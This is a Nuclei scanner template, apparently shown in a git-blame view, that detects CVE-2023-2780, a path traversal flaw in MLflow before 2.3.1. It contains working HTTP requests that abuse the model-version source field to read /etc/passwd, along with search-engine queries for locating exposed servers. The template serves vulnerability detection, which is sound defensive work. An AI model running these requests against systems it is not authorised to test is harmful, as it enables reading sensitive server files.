2023-05-22 10:26:58 +00:00
|
|
|
id: CVE-2023-2780
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Mlflow <2.3.1 - Local File Inclusion Bypass
|
|
|
|
author: iamnoooob,pdresearch
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.3.1.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation could allow an attacker to read sensitive files on the server.
|
2023-09-06 11:43:37 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade Mlflow to version 2.3.1 or later to mitigate the vulnerability.
|
2023-05-22 10:26:58 +00:00
|
|
|
reference:
|
|
|
|
- https://huntr.dev/bounties/b12b0073-0bb0-4bd1-8fc2-ec7f17fd7689/
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-2780
|
2023-07-11 19:49:27 +00:00
|
|
|
- https://github.com/mlflow/mlflow/commit/fae77a525dd908c56d6204a4cef1c1c75b4e9857
|
2024-05-31 19:23:20 +00:00
|
|
|
- https://github.com/Ostorlab/KEV
|
|
|
|
- https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
|
2023-05-22 10:26:58 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2023-2780
|
|
|
|
cwe-id: CWE-29
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-score: 0.04145
|
|
|
|
epss-percentile: 0.92175
|
2023-09-06 11:43:37 +00:00
|
|
|
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
|
2023-05-22 10:26:58 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:43:37 +00:00
|
|
|
max-request: 3
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: lfprojects
|
|
|
|
product: mlflow
|
2023-09-06 11:43:37 +00:00
|
|
|
shodan-query: http.title:"mlflow"
|
2024-05-31 19:23:20 +00:00
|
|
|
fofa-query: title="mlflow"
|
|
|
|
google-query: intitle:"mlflow"
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve2023,cve,mlflow,oss,lfi,huntr,intrusive,lfprojects
|
2023-05-22 10:26:58 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json; charset=utf-8
|
|
|
|
|
|
|
|
{"name":"{{randstr}}"}
|
|
|
|
- |
|
|
|
|
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json; charset=utf-8
|
|
|
|
|
2023-05-23 06:07:05 +00:00
|
|
|
{"name":"{{randstr}}","source":"file://./etc"}
|
2023-05-22 10:26:58 +00:00
|
|
|
- |
|
2023-05-23 05:53:52 +00:00
|
|
|
GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version={{version}} HTTP/1.1
|
2023-05-22 10:26:58 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: version
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- '"version": "([0-9.]+)",'
|
2023-07-11 19:49:27 +00:00
|
|
|
internal: true
|
|
|
|
part: body
|
2024-06-01 06:53:00 +00:00
|
|
|
# digest: 4a0a00473045022100c9043550aed8b81e9ef9db8d60bdafbd3e317d5a4380bada21e2c40a59eb701202202e91c365dc6c67fdf939724bcad96bb24674d20e4b986917b5fa9c81195eb8af:922c64590222798bb761d5b6d8e72950
|